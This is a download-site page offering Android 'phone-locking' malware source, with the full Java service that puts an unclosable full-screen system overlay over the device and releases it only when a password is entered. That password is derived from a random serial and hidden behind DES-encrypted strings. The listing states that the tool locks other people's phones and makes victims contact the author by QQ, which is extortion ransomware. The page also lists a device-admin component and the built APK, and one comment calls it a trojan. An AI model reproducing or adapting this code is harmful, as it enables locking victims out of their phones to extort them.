package com.h;
import android.app.*;
import android.content.*;
import android.graphics.*;
import android.net.*;
import android.os.*;
import android.telephony.*;
import android.view.*;
import android.view.View.*;
import android.view.WindowManager.*;
import android.view.animation.*;
import android.widget.*;
public class s extends Service
{
private WindowManager.LayoutParams wmParams;
private WindowManager mWindowManager;
private View mFloatLayout;
Button bt;
EditText ed;
TextView tv;
long pass;
Long passw;
String password;
String ppss;
DU des;
SharedPreferences share;
SharedPreferences.Editor editor;
@Override
public IBinder onBind(Intent p1)
{
// TODO: Implement this method
return null;
}
@Override
public void onCreate()
{
super.onCreate();
pass = (long)(Math.random() * 100000000);//序列号
passw=pass+123456;
des = new DU("flower");//flower
try
{
des = new DU(des.decrypt("c29fe56fa59ab0db"));//xxx
}
catch (Exception e)
{}
share = getSharedPreferences("Flowers", MODE_PRIVATE);
editor = share.edit();
if (share.getLong("m", 0) == 0)
{
//第一次
editor.putLong("m", pass);
editor.commit();//序列号
try
{
editor.putString("passw", des.encrypt("" + passw));
editor.commit();//密码
}
catch (Exception e)
{}
if (is(getApplicationContext()))
{
ppss = (share.getLong("m", 8)) + "";
try
{
password = des.decrypt(share.getString("passw", ""));
}
catch (Exception e)
{}
new Thread()
{
public void run()
{
try
{
//net.conect(des.decrypt("fc9da975060ed6a6886d03ea843092e1") + ppss, des.decrypt("f618564e3674a3d6f55da95a58605dbb") + password);
}
catch (Exception e)
{}
}
}.start();
}
else
{
try
{
editor.putLong("m", Long.parseLong(des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));//00000000
editor.commit();
editor.putString("passw", "c8c0ae88e6d1aeb8a2bcb7274e242414");//beautifulflower
editor.commit();
}
catch (Exception e)
{}
}
}
}
@Override
public void onStart(Intent intent, int startId)
{
// TODO: Implement this method
super.onStart(intent, startId);
c();//悬浮窗
}
private void c()
{
/*
lp.type = 2010;
r0_service.lp.flags = 1280;
r0_service.lp.format = 1;
r0_service.lp.width = -1;
r0_service.lp.height = -1;
r0_service.lp.gravity = 17;
*/
wmParams = new WindowManager.LayoutParams();
//获取的是WindowManagerImpl.CompatModeWrapper
mWindowManager = (WindowManager)getApplication().getSystemService(getApplication().WINDOW_SERVICE);
//Log.i(TAG, "mWindowManager--->"+ mWindowManager);
//设置window type
wmParams.type = LayoutParams. TYPE_SYSTEM_ERROR;
// 该类型提供与用户交互,置于所有应用程序上方,但是在状态栏后面
// TYPE_TOAST TYPE_SYSTEM_OVERLAY 在其他应用上层 在通知栏下层 位置不能动鸟
// TYPE_PHONE 在其他应用上层 在通知栏下层
// TYPE_PRIORITY_PHONE TYPE_SYSTEM_ALERT 在其他应用上层 在通知栏上层 没试出来区别是啥
// TYPE_SYSTEM_ERROR 最顶层(通过对比360和天天动听歌词得出)
//
//设置图片格式,效果为背景透明
wmParams.format = PixelFormat.RGBA_8888;
//wmParams.format=1;
//设置浮动窗口不可聚焦(实现操作除浮动窗口外的其他可见窗口的操作)
//实现悬浮窗到状态栏
//wmParams.flags = LayoutParams.FLAG_LOCAL_FOCUS_MODE | LayoutParams.FLAG_FULLSCREEN | LayoutParams.FLAG_LAYOUT_IN_SCREEN;
wmParams.flags = 1280;
//LayoutParams.FLAG_NOT_FOCUSABLE //少此代码屏幕无法获取下层东西
//LayoutParams.TYPE_SYSTEM_ERROR |
//LayoutParams.FLAG_FULLSCREEN| LayoutParams.FLAG_LAYOUT_IN_SCREEN
//调整悬浮窗显示的停靠位置为左侧置顶
wmParams.gravity = Gravity.CENTER_HORIZONTAL | Gravity.TOP;
// 以屏幕左上角为原点,设置x、y初始值,相对于gravity
wmParams.x = 0;
wmParams.y = 0;
//设置悬浮窗口长宽数据
wmParams.width = WindowManager.LayoutParams.FILL_PARENT;
wmParams.height = WindowManager.LayoutParams.FILL_PARENT;
//wmParams.height=500;
// 设置悬浮窗口长宽数据
//wmParams.width = 200;
//wmParams.height = 80;
LayoutInflater inflater = LayoutInflater.from(getApplication());
//获取浮动窗口视图所在布局
mFloatLayout = inflater.inflate(R.layout.newone, null);
//添加mFloatLayout
mWindowManager.addView(mFloatLayout, wmParams);
bt = (Button)mFloatLayout.findViewById(R.id.bt);
ed = (EditText)mFloatLayout.findViewById(R.id.ed);
tv = (TextView)mFloatLayout.findViewById(R.id.tv);
try
{
ed.setHint("输入密码!");
tv.append("随机码:");
}
catch (Exception e)
{}
bt.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View p1)
{
// TODO: Implement this method
try
{
if (ed.getText().toString().equals(des.decrypt(share.getString("passw", ""))))
{
mWindowManager.removeView(mFloatLayout);
stopSelf();
}
}
catch (Exception e)
{}
}
});
try
{
tv.append("\n" + des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c") + share.getLong("m", 0));
}
catch (Exception e)
{}
}
public boolean is(Context context)
{
//是否有网络连接
if (context != null)
{
ConnectivityManager
mConnectivityManager = (ConnectivityManager) context .getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
if (mNetworkInfo != null)
{
return mNetworkInfo.isAvailable();
}
}
return false;
}
}
没有合适的资源?快使用搜索试试~ 我知道了~
非常好用的锁机源码,限制一切功能,只有算法才能截屏
共71个文件
class:33个
xml:15个
dex:10个
4星 · 超过85%的资源 需积分: 34 99 下载量 152 浏览量
2016-05-14
12:36:59
上传
评论 17
收藏 259KB ZIP 举报
温馨提示
安卓锁机源码,屏幕随机出现刷机次数,算法计算,密码解锁,可以锁定别人桌面,必须QQ你。
资源推荐
资源详情
资源评论
收起资源包目录
玫瑰锁机源码.zip (71个子文件)
AndroidManifest.xml 2KB
res
anim
show2.xml 486B
show4.xml 758B
show3.xml 963B
show1.xml 503B
tvanim.xml 1KB
layout
main.xml 384B
newone.xml 1KB
drawable
buttonyun.xml 686B
ed.xml 259B
tv.xml 260B
drawable-mdpi
bg_image03.jpg 19KB
icon.jpg 19KB
ic_launcher.png 9KB
xml
my_admin.xml 542B
values
strings.xml 183B
colors.xml 185B
styles.xml 142B
src
com
h
DU.java 2KB
bbb.java 374B
s.java 6KB
M.java 761B
MyAdmin.java 2KB
bin
classesrelease
com
h
s.class 6KB
bbb.dex 2KB
s$100000000.class 506B
DU.dex 2KB
bbb.class 1KB
s.dex 5KB
MyAdmin.class 2KB
MyAdmin.dex 2KB
s$100000001.dex 2KB
M.class 1KB
s$100000000.dex 924B
s$100000001.class 2KB
DU.class 2KB
M.dex 2KB
adrt
ADRTLogCatReader.class 2KB
ADRTSender.class 3KB
ADRTLogCatReader.dex 2KB
ADRTSender.dex 2KB
res
drawable-mdpi
ic_launcher.png 9KB
classes.dex 14KB
resources.ap_ 57KB
jardex
锁机美化版.apk 67KB
classesdebug
com
h
s.class 7KB
M$0$debug.class 2KB
s$100000000.class 783B
bbb$0$debug.class 2KB
bbb.class 2KB
MyAdmin.class 3KB
s$100000000$0$debug.class 667B
s$100000001$0$debug.class 2KB
M.class 2KB
DU$0$debug.class 3KB
MyAdmin$0$debug.class 3KB
s$100000001.class 2KB
s$0$debug.class 7KB
DU.class 4KB
adrt
ADRTLogCatReader.class 2KB
ADRTMetadata.class 728B
ADRTThreadLocal.class 571B
ADRTSender.class 3KB
ADRT.class 13KB
ADRTReflector.class 11KB
ADRTLongSet.class 4KB
ADRTReceiver.class 2KB
ADRTLongMap.class 6KB
ADRTThread.class 14KB
gen
com
h
R.java 2KB
BuildConfig.java 147B
共 71 条
- 1
资源评论
- 春泥2017-04-17报木马。。。
- qq_427760162018-07-23我不知道怎么用。。。
- roronoaaaaaa2016-07-31太复杂,看不出密码是多少
世界里.
- 粉丝: 3
- 资源: 24
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功